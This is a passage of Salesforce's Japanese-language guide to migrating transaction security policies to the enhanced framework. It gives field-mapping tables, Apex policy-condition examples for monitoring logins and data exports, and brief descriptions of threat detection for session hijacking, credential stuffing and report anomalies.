または ApiEvent イベントを選択します。

表 8 : 従来のデータエクスポートのデータキーと ReportEvent または ApiEvent 項目の対応付け
備考同等の ApiEvent 項目同等の ReportEvent 項目従来のデータキー名

ApiType同等なしApiType

Application同等なしApplication

ユーザが使用するブラウ
ザを制限するには、即座

同等なし同等なしBrowser

にブロックする LoginEvent

拡張ポリシーを作成しま
す。

Client同等なしClientId

ConnectedAppId同等なしConnectedAppId

拡張フレームワークでは、
QueriedEntities 項目

QueriedEntitiesQueriedEntitiesEntityName

に、ポリシーの実行の条
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備考同等の ApiEvent 項目同等の ReportEvent 項目従来のデータキー名

件となるすべてのエンティ
ティのカンマ区切りリス
トが含まれています。従
来のフレームワークでは、
このプロパティには 1 つの
エンティティ名のみが含
まれます。

ElapsedTime同等なしExecutionTime

Operation 項目には、発
生したレポート操作の種

同等なしOperationIsApi

別が含まれます。これら
の値を使用して、UI

(Salesforce Classic、Lightning

Experience、またはモバイ
ル)、API (同期、非同期、
REST)、ダッシュボードな
ど、監視する操作を制限
します。

同等なしisScheduledisScheduled

LoginHistoryIdLoginHistoryIdLoginHistoryId

RowsProcessedRowsProcessedNumberOfRecords

Platform同等なしPlatform

Query同等なしQuery

SessionLevelSessionLevelSessionLevel

SourceIpSourceIpSourceIp

同等なし同等なしUri

UserAgent同等なしUserAgent

UsernameUsernameUsername

従来のリソースアクセスのデータキーの対応付け
リソースアクセスイベント種別に基づく従来のポリシーを移行する場合は、ReportEvent イベントを使用しま
す。
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表 9 : 従来のリソースアクセスのデータキーと ReportEvent 項目の対応付け
同等の ReportEvent 項目従来のデータキー名

ReportIdEntityId

同等なしResourceName

SessionLevelSessionLevel

SourceIpSourceIp

UsernameUsername

従来のログインのデータキーの対応付け
ログインイベント種別に基づく従来のポリシーを移行する場合は、LoginEvent イベントを使用します。LoginHistoryID

と LoginGeoId のすべての項目が LoginEvent に存在することになりました。ただし、従来の OptionIsGet 項目と
OptionIsPost 項目は例外で、この 2 つは LoginEvent.HttpMethod に対応付けられます。LoginHistoryId と LoginGeoId に対
するクエリは、ポリシー実行中に使用できなくなったため、すべて削除します。代わりに、LoginEvent から直
接項目を使用します。
以下は、LoginHistoryId を照会する従来のポリシーの Apex コードです。
global class SourceIpPolicyCondition implements TxnSecurity.PolicyCondition {

public boolean evaluate(TxnSecurity.Event e) {
String loginHistoryId = e.data.get('LoginHistoryId');
LoginHistory loginHistory = [SELECT SourceIp FROM LoginHistory WHERE Id =

:loginHistoryId];
if (loginHistory.SourceIp.equals('1.1.1.1')) {

return true;
}
return false;

}
}

以下は、LoginEvent から直接項目を使用する拡張ポリシーの Apex コードです。
global class SourceIpEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
LoginEvent loginEvent = (LoginEvent) event;
if (loginEvent.SourceIp.equals('1.1.1.1')) {

return true;
}
return false;

}
}

表 10 : 従来のログインのデータキーと LoginEvent 項目の対応付け
同等の LoginEvent 項目従来のデータキー名

LoginHistoryIdLoginHistoryId

UsernameUsername
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リードデータエクスポートの例の実行
引き続き、2 つの拡張ポリシーを (1 つは ApiEvent に基づいて、もう 1 つは ReportEvent に基づいて) 作成します。
次は、従来のリードデータエクスポートポリシーの例で使用されているイベントプロパティと、2 つの新しい
拡張ポリシーの同等項目を判別しましょう。
従来のポリシーは、ユーザが次のいずれかをダウンロードするとトリガされます。
• 2,000 件を超えるリードレコードの取得
• 完了までに 1 秒超かかる
以下は、従来のポリシーの Apex コードです。すべての条件で、従来のイベントの data Map<> を使用してい
ます。
global class DataLoaderLeadExportCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
// The event data is a Map<String, String>.
// We need to call the valueOf() method on appropriate data types to use them in our

logic.
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
Long executionTimeMillis = Long.valueOf(e.data.get('ExecutionTime'));
String entityName = e.data.get('EntityName');

// Trigger the policy only for an export on leads, where we are downloading
// more than 2000 records or it took more than 1 second (1000ms).
if ('Lead'.equals(entityName)){
if (numberOfRecords > 2000 || executionTimeMillis > 1000){
return true;

}
}

// For everything else don't trigger the policy.
return false;

}
}

次の表は、条件の追加に使用する拡張ポリシーの同等項目のリストです。

同等の ApiEvent 項目同等の ReportEvent 項目従来のデータキー名

QueriedEntitiesQueriedEntitiesEntityName

ElapsedTime同等なしExecutionTime

RowsProcessedRowsProcessedNumberOfRecords

拡張フレームワークではレポート実行時間は監視されないため、ReportEvent 拡張ポリシーのその値に対して条
件を追加することはできません。
ReportEvent はエクスポートと表示の両方の操作を監視します。そのため、ReportEvent に基づいたポリシーは、
ユーザがレポートをエクスポートした場合とレポートを表示した場合は常に実行されます。従来のデータエク
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スポートイベント種別は、レポートのエクスポートのみを監視します。ReportEvent.Operation 項目に条
件を追加することで、ReportEvent ポリシーの監視対象を制限できます。

関連トピック:

プラットフォームイベント開発者ガイド: リアルタイムイベント監視オブジェクト
Apex リファレンスガイド: TxnSecurity.Event クラス
Apex リファレンスガイド: UserInfo クラス

UI または Apex コードを使用したポリシーの作成

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

従来のフレームワークでは、ポリシーを作成する唯一の方法は、Apex クラスを
コーディングすることでした。拡張フレームワークでは、ポイント & クリック
ツールの条件ビルダーを使用するか、Apex を使用するという 2 つのオプション
があります。どちらのオプションが最適かを判断するには、次のガイドライン
が役立ちます。
たとえば、従来のポリシーの Apex クラスが、リアルタイムイベント監視イベン
トオブジェクトの項目として直接使用可能なイベントプロパティを参照してい
るとします。それらの項目が条件ビルダーの UI でも使用できるとします。その
場合は、条件ビルダーを使用して拡張ポリシーを作成できます! こうした項目の
例として、ユーザログイン時のアクセス元 IP (LoginEvent.SourceIP) やレポー
ト実行から返された行数 (ReportEvent.RowsProcessed) などがあります。
従来のポリシーの Apex クラスが、リアルタイムイベント監視イベントオブジェ
クトで直接使用できないイベントプロパティを参照している場合は、引き続き
Apex および SOQL クエリを使用します。たとえば、API クエリまたはレポートの
エクスポートから返されたレコードに Data Classified (機密データ) である項目が含
まれるかどうかチェックするポリシーなどです。拡張ポリシーの Apex クラスでは、従来の
TxnSecurity.PolicyConditionではなく、TxnSecurity.EventConditionインターフェースを実装しま
す。

リードデータエクスポートの例の実行
2 つの新しい ReportEvent および ApiEvent 拡張ポリシー用に選択した項目は、イベントオブジェクトで使用でき、
他のデータを取得するのに SOQL クエリは必要ありません。これらの項目は、条件ビルダーの UI でも使用でき
ます。そのため、例には、拡張ポリシーを作成する最も簡単な方法である条件ビルダーを選択することをお勧
めします。ただし、Apex を使用する場合でも、例のセクションにはコードが提供されています。

関連トピック:

条件ビルダー UI で公開されている条件
Apex リファレンスガイド: TxnSecurity.EventCondition インターフェース
Apex リファレンスガイド: TxnSecurity.PolicyCondition インターフェース
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従来および拡張 Apex インターフェースの違い

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

従来のトランザクションセキュリティポリシーでは、Apex クラスは
TxnSecurity.PolicyConditionインターフェースを実装します。拡張フレー
ムワークでは、Apex クラスは TxnSecurity.EventConditionインターフェー
スを実装します。
どちらのインターフェースでも、1 つのメソッド evaluate(event) が定義さ
れます。このメソッドは、どちらのインターフェースでも同じように機能し、
イベントを評価してトランザクションセキュリティポリシーをトリガするかど
うかを判断します。どちらの実装でも、evaluate() メソッドをコーディング
して、ポリシーがトリガされる場合は true、トリガされない場合は false を
返すようにします。これは類似点ですが、次は違いを見てみましょう。
EventCondition.evaluate(event)の eventパラメータのデータ型は sObject

です。これは開発者に知られている標準の Salesforce API オブジェクトです。sObject

を使用すると、Apex クラスのコーディング時の柔軟性が向上します。sObject を
使用するには、まず、トランザクションセキュリティポリシーをサポートする
イベントオブジェクトのいずれか (ApiEvent や ReportEvent など) に sObject をキャス
トします。ただし、注意が必要です。sObject を間違ったイベントオブジェクトにキャストすると、ポリシーが
評価に失敗します。たとえば、ポリシーが ApiEvent に基づいているのに、sObject を ReportEvent にキャストする
と、ポリシーは実行時に失敗します。
拡張ポリシーでは、イベントオブジェクトの項目を使用してイベントを評価するための条件を追加します。イ
ベントオブジェクトのドキュメントは公開されているため、API ドキュメントに目を通せば、条件に必要な項
目を簡単に見つけることができます。たとえば、ApiEvent はユーザの API コールを監視します。その
QueriedEntities 項目に、ユーザが照会した特定のオブジェクト (Account、Lead など、カスタムオブジェク
トも) が含まれます。この項目を使用すると、ユーザが Account オブジェクトを照会したかどうかを判断する
Apex コードを簡単かつ自然に記述できます。
apiEvent.QueriedEntities.contains('Account'))

上記のコードスニペットが containsを使用していることに気が付きましたか? API イベントが複数のオブジェ
クトを照会する場合、QueriedEntities項目には、オブジェクト名のカンマ区切りリストが含まれるため、
equals ではイベントが見落とされる可能性があります。この動作は、QueriedEntities 項目を持つリアル
タイムイベント監視イベントオブジェクトに適用されます。
上記の例は、TxnSecurity.EventCondition インターフェースの別の利点を示しています。それは、従来
のフレームワークでサポートされている 5 つのオブジェクト (Lead、Contact、Opportunity、Account、Contact) だけ
でなく、任意の Salesforce オブジェクトに対するユーザアクティビティを追跡できることです。ただし、この機
能は重要な影響を及ぼします。拡張ポリシーは、従来のポリシーよりも頻繁に実行されます。この動作は、
Salesforce がすべてのレポート操作と API クエリに対してすべての拡張ポリシーを評価するために発生します。
では、拡張インターフェースの利点を明らかにするために、従来のインターフェースのしくみを簡単に確認し
ましょう。従来のフレームワークでは、PolicyCondition.evaluate(event) の event パラメータのデー
タ型は、TxnSecurity.Eventです。これは、プロパティを使用するイベントに関する情報が含まれる特殊な
クラスです。値が数値または Boolean であっても、すべてのプロパティ値は String です。イベント情報の多く
は、dataプロパティに含まれます。これは Map<String,String>型で、実行時に名前-値のペアが入力され
ます。実行時のこの Map の内容は、評価されるイベントの種別に応じて異なります。そのため、内容は標準で
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はなく、クラスをコードするときにその構造はわかりません。こうした理由から、イベントデータを取得する
Apex コードは乱雑で入り組んだものになりがちです。
TxnSecurity.EventCondition インターフェースでは、いくつかの利点が追加されています。
• evaluate メソッドは汎用的な sObject パラメータを取り込んで、イベントオブジェクトにキャストできる

ため、1 つの Apex クラスが複数のイベントを処理するようにプログラミングできます。
• TxnSecurity.AsyncCondition インターフェースも実装することで、従来のポリシーを実装するクラス

内で非同期 Apex コールを簡単に実行できます。
• 開発者コンソールで EventCondition の実装を記述するときに、オートコンプリートを使用できます。

PolicyCondition を使用する場合、有用なデータのほとんどが data Map<> プロパティ内にあり、実行
時に入力されるため、オートコンプリートはうまくいきません。

• リアルタイムイベント監視イベントオブジェクトのデータモデルには一貫性があります。そのため、より
汎用的な Apex を記述して、複数のイベント種別に適用することができます。たとえば、Salesforce でイベン
ト種別が追加され、それを既存のセキュリティポリシーに追加するとします。拡張フレームワークでは、
Apex コードに数行追加するだけですむでしょう。従来のフレームワークでは、新しい Apex クラスを記述す
る必要があります。

関連トピック:

プラットフォームイベント開発者ガイド: リアルタイムイベント監視オブジェクト
Apex リファレンスガイド: TxnSecurity.EventCondition インターフェース
Apex リファレンスガイド: TxnSecurity.PolicyCondition インターフェース
Apex リファレンスガイド: TxnSecurity.Event クラス
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ポリシー移行の例

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

従来のポリシーを拡張フレームワークに移行する場合、以降の条件ビルダーと
Apex の例を参考として使用してください。移行には、従来のポリシーの動作を
模倣する新しい拡張ポリシーの作成が含まれます。

メモ: 使用しているリードデータエクスポートの例の詳細に進む前に、ま
ず、より単純な例で基本的な概念を確認しましょう。

このセクションの内容:

単純なポリシー移行の例
以下の単純な例を使用してポリシー移行の基本を説明します。
リードデータエクスポートポリシー移行の例
このガイドの実行例である、従来のリードデータエクスポートポリシーの動
作を模倣する 2 つの拡張ポリシーを作成する方法を説明します。また、例を
拡張トランザクションセキュリティフレームワークの機能で拡張する方法も
説明します。
高度なポリシー移行の例
この例では、より複雑なポリシーを移行する方法を説明します。

単純なポリシー移行の例

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

以下の単純な例を使用してポリシー移行の基本を説明します。
ユーザが特定の IP アドレスでログインしたときにトリガされる従来のトランザ
クションセキュリティポリシーの Apex コードから始めましょう。

global class SourceIpPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {

String loginHistoryId = e.data.get('LoginHistoryId');
LoginHistory loginHistory = [SELECT SourceIp FROM LoginHistory WHERE Id =

:loginHistoryId];
if (loginHistory.SourceIp.equals('1.1.1.1')) {

return true;
}
return false;
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}
}

新しい拡張ポリシーで従来の動作を模倣するには、まず、ログインを監視するイベントオブジェクトの LoginEvent

を選択します。従来のポリシーは、LoginHistory オブジェクトから SourceIP 項目を選択する SOQL クエリを実
行することで、ユーザのアクセス元 IP を取得します。拡張ポリシーに類似のクエリをコーディングできます
が、LoginEvent の SourceIP を直接使用するという、もっと良い方法にしましょう。この方法なら、条件ビル
ダーを使用できます。
条件ビルダーの条件を指定するページの [イベント] で [ログインイベント]を選択します。次に、条件「アクセ
ス元 IP 次の値と等しい 1.1.1.1」を追加します。アクションを指定してポリシーを有効化するための条件ビ
ルダーページは、従来の UI と同じです。

ヒント: 有効化する前に新しい拡張ポリシーをテストします。新しいポリシーを有効化する準備ができた
ら、同じイベント種別に対する既存のポリシーを無効化します。

Apex を使用する場合、拡張ポリシー用のコードは以下のようになります。
global class SourceIpEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
LoginEvent loginEvent = (LoginEvent) event;
if (loginEvent.SourceIp.equals('1.1.1.1')) {

return true;
}
return false;

}
}

Apex クラスで、TxnSecurity.EventConditionインターフェースを実装します。evaluate()メソッドは、
汎用的な sObject パラメータを取り込みますが、それは常にリアルタイムイベント監視イベントオブジェクト
のいずれかになることが保証されています。sObject を適切なイベントオブジェクト (この場合は LoginEvent) に
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キャストします。その後で、その SourceIp 項目を使用してユーザがログインしている IP アドレスを判断し
ます。その他のコードは従来のポリシーコードと同様です。

関連トピック:

条件ビルダーを使用したトランザクションセキュリティポリシーの作成
Apex リファレンスガイド: TxnSecurity.EventCondition インターフェース
Apex リファレンスガイド: TxnSecurity.PolicyCondition インターフェース
Apex リファレンスガイド: クラスとキャスト

リードデータエクスポートポリシー移行の例

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

このガイドの実行例である、従来のリードデータエクスポートポリシーの動作
を模倣する 2 つの拡張ポリシーを作成する方法を説明します。また、例を拡張
トランザクションセキュリティフレームワークの機能で拡張する方法も説明し
ます。
ここまでに決定した内容をまとめます。
• 2 つの拡張ポリシーを作成する (1 つは ReportEvent に基づき、もう 1 つは ApiEvent

に基づく)。
• QueriedEntities 項目と RowsProcessed 項目を使用して ReportEvent ポリ

シーに条件を追加する。
• QueriedEntities項目、ElapsedTime項目、RowsProcessed項目を使用

して ApiEvent ポリシーに条件を追加する。
• 条件ビルダーを使用してポリシーを作成すると共に、Apex コードを表示す

る。
以下は、移行する従来のポリシーの Apex コードです。
global class DataLoaderLeadExportCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
// The event data is a Map<String, String>.
// We need to call the valueOf() method on appropriate data types to use them in our

logic.
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
Long executionTimeMillis = Long.valueOf(e.data.get('ExecutionTime'));
String entityName = e.data.get('EntityName');

// Trigger the policy only for an export on leads, where we are downloading
// more than 2000 records or it took more than 1 second (1000ms).
if ('Lead'.equals(entityName)){
if (numberOfRecords > 2000 || executionTimeMillis > 1000){
return true;

}
}

// For everything else don't trigger the policy.
return false;
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}
}

まず、条件ビルダーを使用して ReportEvent ポリシーを作成します。条件を指定するページの [イベント] で [レ
ポートイベント] を選択します。次の 2 つの条件を追加します。
• QueriedEntities Equals Lead

• RowsProcessed Greater than 2000

アクションページで、従来のポリシーと同じアクションを指定します。
ApiEvent ポリシーを作成する手順は似ていますが、条件ロジックを使用する点が異なります。従来のポリシー
は、処理された行数が 2,000 を超えたか、経過時間が 1,000 を超えたリードのエクスポートを監視します。条件
ビルダーでは、このロジックを次の方法で実装します。
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これで完了です。
ApiEvent 拡張ポリシーの Apex コードは次のようになります。
global class LeadExportApiEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
ApiEvent apiEvent = (ApiEvent) event;

Decimal rowsProcessed = apiEvent.RowsProcessed;
Decimal elapsedTime = apiEvent.ElapsedTime;
String queriedEntities = apiEvent.QueriedEntities;

if ('Lead'.equals(queriedEntities)){
if (rowsProcessed > 2000 || elapsedTime > 1000) {

return true;
}

}
return false;

}
}
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上記の例で、拡張ポリシーの Apex コードがいかに明瞭簡潔で自然かがわかります。たとえば、従来の方法で
は次のように処理された行数を取得します。
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));

次の拡張ポリシーコードでは、項目値を型キャストせずに、必要な値をイベントオブジェクトから直接取得で
きます。
Decimal rowsProcessed = apiEvent.RowsProcessed;

大幅に改善されて読みやすくなっています。もう一方の ReportEvent ポリシーの Apex コードは次のようになり
ます。
global class LeadExportReportEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
ReportEvent reportEvent = (ReportEvent) event;

Decimal rowsProcessed = reportEvent.RowsProcessed;
String queriedEntities = reportEvent.QueriedEntities;

if ('Lead'.equals(queriedEntities)) {
if (rowsProcessed > 2000) {

return true;
}

}
return false;

}
}

Apex クラスの統合例
上記の新しいリードデータエクスポート拡張ポリシーの 2 つの Apex クラスが似ていることに気付きましたか?

主な違いは、一方のポリシーは sObject を ReportEvent に、もう一方は ApiEvent にキャストしていることです。こ
の使用事例を少し変更して、複数のイベントオブジェクトを処理する 1 つの Apex クラスを作成する方法を説
明します。この場合、ApiEvent の経過時間をチェックする条件を削除します。これで 2 つのポリシーがそれぞ
れのイベントオブジェクト RowsProcessedと QueriedEntitiesの同じ項目を監視するようになりました。

メモ: 条件ビルダーでは、複数のイベントオブジェクトに基づいて 1 つのポリシーを作成することはサ
ポートされていないため、この例では使用できません。

以下は、「統合された」 Apex クラスの例です。
global class LeadExportEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{

when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);

}
when ReportEvent reportEvent {

return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when null {

return false;
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}
when else{

return false;
}

}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
if ('Lead'.equals(queriedEntities) && rowsProcessed > 2000){

return true;
}
return false;

}
}

上記の例は、複数のイベントオブジェクトを処理するポリシーの Apex コードが暗黙的な型キャスト、分岐ロ
ジック、イベントエラーのケースを switchステートメントで使用する方法を示しています。新しいイベント
オブジェクトまたは使用事例を処理するようにこのコードを更新することも簡単です。

新しい使用事例を使用したリードデータエクスポートの例の拡張
たとえば、組織にリードと他のオブジェクト (キャンペーンなど) に基づいて作成したカスタムレポートタイプ
があるとします。このレポートにも拡張ポリシーを適用する必要があります。この場合、QueriedEntities

項目には、Lead,Campaign,MyOtherObjectなど、カスタムレポートタイプが基づいているオブジェクトの
カンマ区切りリストが含まれます。このカスタムレポートタイプに対して拡張ポリシーがトリガされるように
するには、equals() ではなく contains() メソッドを使用して、QueriedEntities 値に Lead があるか
チェックします。次に例を示します。
global class LeadExportEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{

when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);

}
when ReportEvent reportEvent {

return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when null {

return false;
}
when else {

return false;
}

}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
if (queriedEntities.contains('Lead') && rowsProcessed > 2000){

return true;
}
return false;

}
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}

次に、リードに加えてカスタムオブジェクト HRCase__c を監視するとします。条件を QueriedEntities 項目
に追加します。次に例を示します。
global class DataExportEventCondition implements TxnSecurity.EventCondition {

public boolean evaluate(SObject event) {
switch on event{

when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);

}
when ReportEvent reportEvent {

return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when null {

return false;
}
when else{

return false;
}

}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
if (containsQueriedEntities(queriedEntities) && rowsProcessed > 2000){

return true;
}
return false;

}

private boolean containsQueriedEntities(String queriedEntities){
return queriedEntities.contains('Lead') ||

queriedEntities.contains('HRCase__c');
}

}

ここまで、API クエリおよびレポート操作を監視するのに、ApiEvent および ReportEvent イベントオブジェクトを
使用してきました。その他に、リストビューを使用して組織データの表示やエクスポートを行うこともできま
す。この場合、ListViewEvent イベントオブジェクトを使用します。この Apex コードを更新するには、switch ス
テートメントを追加します。

メモ: リストビューの監視は、従来のフレームワークにはない、拡張トランザクションポリシーフレーム
ワークの機能です。

global class DataExportEventCondition implements TxnSecurity.EventCondition {
public boolean evaluate(SObject event) {

switch on event{
when ApiEvent apiEvent {

return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);
}
when ReportEvent reportEvent {

return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
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when ListViewEvent listViewEvent {
return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);

}
when null {

return false;
}
when else {

return false;
}

}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
if (containsQueriedEntities(queriedEntities) && rowsProcessed > 2000){

return true;
}
return false;

}

private boolean containsQueriedEntities(String queriedEntities){
return queriedEntities.contains('Lead') ||

queriedEntities.contains('HRCase__c');
}

}

関連トピック:

Apex リファレンスガイド: TxnSecurity.EventCondition インターフェース
Apex リファレンスガイド: switch ステートメント

高度なポリシー移行の例

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

この例では、より複雑なポリシーを移行する方法を説明します。
このトピックの従来のサンプルポリシーは、リードデータエクスポートポリシー
に似ていますが、2 つの重要な違いがあります。このポリシーは、リードのみを
監視するのではなく、複数の異なるオブジェクト種別を監視します。また、エ
クスポート制限の 2,000 レコードをハードコード化するのではなく、異なるオブ
ジェクト種別ごとに異なる制限を定義します。
エクスポート制限は、TransactionSecurityLimit__mdt というカスタムメタデータ型に
保存されます。この型には次の 2 つの項目が含まれます。
• Object_Type__c  (選択リスト) — オブジェクト種別
• Limit_Value__c  (数値 (18,0)) — このオブジェクト種別でユーザにエクスポー

トが許可される最大レコード数
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従来のポリシーは、このカスタムメタデータ型を照会して各オブジェクト種別のエクスポート制限値を動的に
判断します。
global class DataExportPolicyCondition implements TxnSecurity.PolicyCondition {

private Final Integer DEFAULT_LIMIT = 2000;

public boolean evaluate(TxnSecurity.Event e){
Integer numberOfRecords = Integer.valueOf(e.data.get('NumberOfRecords'));
String entityName = e.data.get('EntityName');

Integer limitValue = getLimitValue(entityName);

if (numberOfRecords > limitValue) {
return true;

}
return false;

}

/**
* Get the export limit for the given object type. If no such limit exists,
* or an exception occurs while trying to look up the limit, the default limit
* of 2000 records is returned.
**/
private Integer getLimitValue(String entityName) {

List<Transaction_Security_Limit__mdt> limits = new
List<Transaction_Security_Limit__mdt>();

try {
limits = [SELECT Limit_Value__c FROM Transaction_Security_Limit__mdt WHERE

Object_Type__c = :entityName];
} catch (Exception ex) {

// unable to determine the limit, log and return the default
System.debug('Error getting limit value\n: ' + ex.getMessage());
return DEFAULT_LIMIT;

}

if (limits.size() == 0) {
// no limit found, return the default
return DEFAULT_LIMIT;

}

return (Integer)(limits[0].Limit_Value__c);
}

}

拡張ポリシーでは、TransactionSecurityLimit__mdt カスタムメタデータ型を照会するロジックの大半を再利用でき
ます。主な違いは、エクスポート制限を照会する対象のエンティティの名前を取得するコードです。従来のポ
リシーでは data Map の EntityName キー値を使用します。拡張フレームワークでこれに相当するのが
QueriedEntitiesです。ただし、拡張フレームワークではすべての標準オブジェクトとカスタムオブジェク
トでエクスポートがサポートされるため、QueriedEntities項目に複数のエンティティ名が含まれる可能性
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があります。そのため、照会されるエンティティのカンマ区切りリストを取り込み、エンティティ名の List

に分離します。
global class DynamicExportEventCondition implements TxnSecurity.EventCondition {

private Final Integer DEFAULT_LIMIT = 2000;

public boolean evaluate(SObject event) {
switch on event{

when ApiEvent apiEvent {
return evaluate(apiEvent.QueriedEntities, apiEvent.RowsProcessed);

}
when ReportEvent reportEvent {

return evaluate(reportEvent.QueriedEntities, reportEvent.RowsProcessed);
}
when ListViewEvent listViewEvent {
return evaluate(listViewEvent.QueriedEntities, listViewEvent.RowsProcessed);

}
when null {

return false;
}
when else {

return false;
}

}
}

private boolean evaluate(String queriedEntities, Decimal rowsProcessed){
List<String> queriedEntitiesList = queriedEntities.split(',');
// for all of the entities being exported, check their limit
for (String queriedEntity : queriedEntitiesList) {

Integer limitValue = getLimitValue(queriedEntity);
if (rowsProcessed > limitValue) {

// if any of our entities are having their limit violated
// then return true to trigger the policy
return true;

}
}
return false;

}

/**
* Get the export limit for the given object type. If no such limit exists,
* or an exception occurs while trying to look up the limit, the default limit
* of 2000 records is returned.
**/
private Integer getLimitValue(String entityName) {

List<Transaction_Security_Limit__mdt> limits = new
List<Transaction_Security_Limit__mdt>();

try {
limits = [SELECT Limit_Value__c FROM Transaction_Security_Limit__mdt WHERE
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Object_Type__c = :entityName];
} catch (Exception ex) {

// unable to determine the limit, return the default
System.debug('Error getting limit value\n: ' + ex.getMessage());
return DEFAULT_LIMIT;

}

if (limits.size() == 0) {
// no limit found, return the default
return DEFAULT_LIMIT;

}

return (Integer)(limits[0].Limit_Value__c);
}

}

関連トピック:

Apex リファレンスガイド: TxnSecurity.EventCondition インターフェース
Apex リファレンスガイド: TxnSecurity.PolicyCondition インターフェース

脅威検知
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Enterprise Edition、
Unlimited Edition、および
Developer Edition

Salesforce Shield または
Salesforce Event Monitoring
アドオンサブスクリプ
ションが必要です。

脅威検知では、統計および機械学習の手法を駆使して、Salesforce 組織に対する
脅威を検知します。Salesforce ではすべての Salesforce 顧客についてこれらの脅威
を識別しますが、必要に応じて、イベント監視で脅威検知のあるイベントに情
報を表示し、さらに調査することができます。
具体的に、脅威検知では次が識別されます。
• ユーザセッションが乗っ取られたかどうか。
• 特定したクレデンシャルスタッフィング攻撃の最中にユーザが正常にログイ

ンした状況。クレデンシャルスタッフィングが発生するのは、大規模な自動
ログイン要求が、盗取したログイン情報を使用して Salesforce にアクセスした
場合です。

• ユーザによるレポートの表示またはエクスポートの異常。

メモ: すべてのサードパーティプロキシが IP アドレスなどのネットワーク
関連のパラメータを Salesforce に渡すとは限りません。ネットワーク関連の
パラメータがなければ、Salesforce で、これらのプロキシに対する脅威のい
くつかを検出できなくなります。

トランザクションセキュリティポリシーを使用した脅威の監視
Salesforce が脅威を検知したときにメールまたはアプリケーション内通知を生成するトランザクションセキュリ
ティポリシーを脅威セキュリティイベントに作成します。検知された脅威を調査した後、ユーザの行動を制御
するポリシーを作成することを検討します。
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たとえば、リードに関するレポートのレコードを普段より多くエクスポートしたユーザに関する複数の
ReportAnomalyEvents を組織が受信したとします。ReportAnomalyEventStore にトランザクションセキュリティポリ
シーを作成しているため、この異常が発生するたびに通知を受信します。リードオブジェクトの保護を強化す
るために、ユーザが 11 行以上エクスポートできないようにする ReportEvent ポリシーをレポートに作成するこ
とが考えられます。

このセクションの内容:

セッションハイジャック
セッションハイジャックは顧客を標的とした攻撃で、攻撃者がクライアントの Web アプリケーションへの
アクセス権を使用して情報を盗取しようとします。私たちにとってこの Web アプリケーションは Salesforce

です。クライアントは Salesforce で正常に認証されると、セッショントークンを受け取ります。攻撃者はそ
のセッショントークンを窃取して、クライアントのセッションを乗っ取ろうとします。
クレデンシャルスタッフィング
クレデンシャルスタッフィングは、盗取したログイン情報を使用する一種のサイバー攻撃です。「パスワー
ドスプレー」「クレデンシャル漏洩」ともいいます。攻撃者は、データ侵害や他の種類のサイバー攻撃に
よって大量のユーザ名とパスワードを取得します。そして、取得したログイン情報を使用して、Salesforce

などの Web アプリケーションに大規模な自動ログイン要求を仕掛け、ユーザアカウントに不正にアクセス
します。
レポートの異常
異常とは、そのユーザの過去のアクティビティとは明らかに異なるユーザアクティビティのことです。
Salesforce では、レポート生成とその周辺アクティビティに関する Salesforce コアアプリケーションログのメ
タデータを使用して、履歴アクティビティのベースラインモデルを構築します。そして、新しいレポート
生成アクティビティをこのベースラインと比較して、新しいアクティビティが異常といえるほど異なって
いるかどうかを判断します。ユーザが操作する実際のデータを Salesforce が調べることはありません。Salesforce

はユーザがデータをどのように操作しているのかを確認します。
API 異常
異常とは、そのユーザの過去のアクティビティとは明らかに異なるユーザアクティビティのことです。
